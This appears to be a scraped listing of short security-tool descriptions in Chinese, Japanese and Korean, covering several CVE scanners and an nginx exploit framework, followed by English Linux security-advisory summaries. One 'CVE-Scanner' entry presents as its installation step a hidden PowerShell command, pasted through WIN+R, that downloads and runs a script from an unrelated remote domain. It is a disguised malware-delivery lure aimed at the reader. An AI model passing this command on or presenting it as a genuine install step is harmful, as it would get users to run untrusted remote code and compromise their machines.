Symfony-CVE-Scanner-PoC-

Symfony Vulnerability Scanner 自动扫描工具，用于检测暴露在互联网上的 Symfony 应用程序中的多个已知漏洞 CVE。 由 m10sec 开发。 特性 🔍 检测 Symfony 中的多个漏洞 : Symfony 漏洞验证 ✅ 实际利用验证（例如：读取 /etc/passwd） 🔀 单个或完整扫描选项 💻 使用 socket 绕过 CRLF 注入中的过滤器 🧩 模块化且易于扩展 🧪 被动与主动检测 要求 Python 3.7 或更高版本 库： requests argparse re 可选 termcolor 用于彩色输出 安装 root@kitploit:...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scannerは、CVE-2021-42287、CVE-2021-42278、およびその他のセキュリティ問題に関連する脆弱性をスキャンし、悪用するために設計されたツールです。このプロジェクトは、セキュリティ専門家や研究者に、システムのリスクを特定し軽減するための簡単な方法を提供することを目的としています。 目次 機能 インストール 使い方 対応CVE コントリビューション ライセンス 連絡先 機能 CVEスキャン ：アプリケーションの脆弱性を迅速に特定します。 悪用ツール ：特定のCVEに対するエクスプロイトを実行し、システムの防御力をテストします。...

CVE-2024-6387

OpenSSH CVE 스캐너 OpenSSH CVE 스캐너는 OpenSSH 버전을 기반으로 여러 SSH 대상을 스캔하여 취약점을 탐지하도록 설계된 Python 스크립트입니다. 동시 스캔을 위해 스레딩을 활용하며, 가시성을 높이기 위해 색상 출력과 로깅을 통합합니다. 기능 멀티스레드 스캔: 스레딩을 활용하여 여러 대상을 동시에 스캔하므로 효율성이 향상됩니다. CVE 취약점 탐지: SSH 버전을 미리 정의된 CVE 취약점 목록과 대조하여 해당 버전이 취약한지 확인합니다. 로깅 및 출력: 스캔 결과를 파일scan.log에 기록하고,...

fleet-cve-scanner

fleet-cve-scanner RMM으로 관리되는 플릿을 위한 오픈소스 단일 스크립트 CVE 스캐너입니다. 순수 PowerShell 7, 에이전트 불필요, 어플라이언스 불필요, 라이선스 비용 없음. 관리하는 모든 엔드포인트의 모든 소프트웨어에 대해 한 가지 질문에 답합니다: 설치된 버전이 알려진 취약점을 가지고 있는지, 그리고 그 긴급성은 어느 정도인지? — RMM의 소프트웨어 인벤토리를 무료 공식 보안 피드와 결합하여. NIST NVD — 알려진 CVE 및 영향을 받는 버전 범위 CISA KEV — 실제 환경에서 활발히 악...

vamp-forticheck

vamp-forticheck マルチベンダーエッジデバイスCVEスキャナー — VampSecure Labs 概要 vamp-forticheck は、7つの主要ネットワークセキュリティベンダーにわたるCVE脆弱性を検出する、非破壊型の非同期セキュリティスキャナーです。以下の3段階構造の分析を実行します。 1. パッシブ検出 — HTTPレスポンスヘッダー、バナー、ログインページの痕跡からベンダーとファームウェアバージョンのフィンガープリントを特定します。認証はトリガーしません。 2. セミアクティブCVEプローブ —...

s4e-cve-scanner

Latest-CVE-Scanner このAPIを使用すると、最新のCommon Vulnerabilities and Exposures（CVE）をスキャンできます。 このコードはSecurity For Everyoneユーザー向けに作成されています。無料スキャンは https://securityforeveryone.com/user/register で登録できます。 始める前に、以下の点を理解しておいてください。 root@kitploit: 1...

nGixshell

nGixShell は nginx の CVE スキャナ兼 RCE エクスプロイトフレームワークです。ngxhttprewritemodule における深刻なヒープバッファオーバーフローである CVE-2026-42945 の動作する概念実証（PoC）と、自動 HTTP プローブ、フィンガープリンティング、WAF 検出・バイパス、Web セキュリティ監査、レポート生成を備えた 53 件の nginx CVE をカバーするスキャナを同梱しています。 外部依存関係ゼロ。純粋な Python 3 標準ライブラリのみで動作します。 クイックスタート root@kitploit: Spin up...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexke...

CentOS 7 : qemu-kvm (CESA-2019:1178) (MDSUM/RIDL) (MFBDS/RIDL/ZombieLoad) (MLPDS/RIDL) (MSBDS/Fallout)

An update for qemu-kvm is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

RHEL 7 : freeradius (RHSA-2017:2389)

The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2017:2389 advisory. FreeRADIUS is a high-performance and highly configurable free Remote Authentication Dial In User Service RADIUS server, designed to allow...

CentOS 6 : wireshark (CESA-2017:0631)

An update for wireshark is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

Amazon Linux AMI : perl-libwww-perl (ALAS-2011-17)

The Net::HTTPS module in libwww-perl LWP before 6.00, as used in WWW::Mechanize, LWP::UserAgent, and other products, when running in environments that do not set the If-SSL-Cert-Subject header, does not enable full validation of SSL certificates by default, which allows remote attackers to spoof...

Amazon Linux AMI : php (ALAS-2011-07)

The MITRE CVE database describes these CVEs as : Revert isa behavior to php = 5.3.6 and add a new new option allowstring for the new behavior accept string and raise autoload if needed Use-after-free vulnerability in the substrreplace function in PHP 5.3.6 and earlier allows context-dependent...

openSUSE Security Update : flash-player (openSUSE-SU-2010:0321-1)

This Flash Player update fixes multiple critical security vulnerabilities which allow an attacker to remotely execute arbitrary code or to cause a denial of service. The following CVE numbers have been assigned : CVE-2008-4546, CVE-2009-3793, CVE-2010-1297, CVE-2010-2160, CVE-2010-2161,...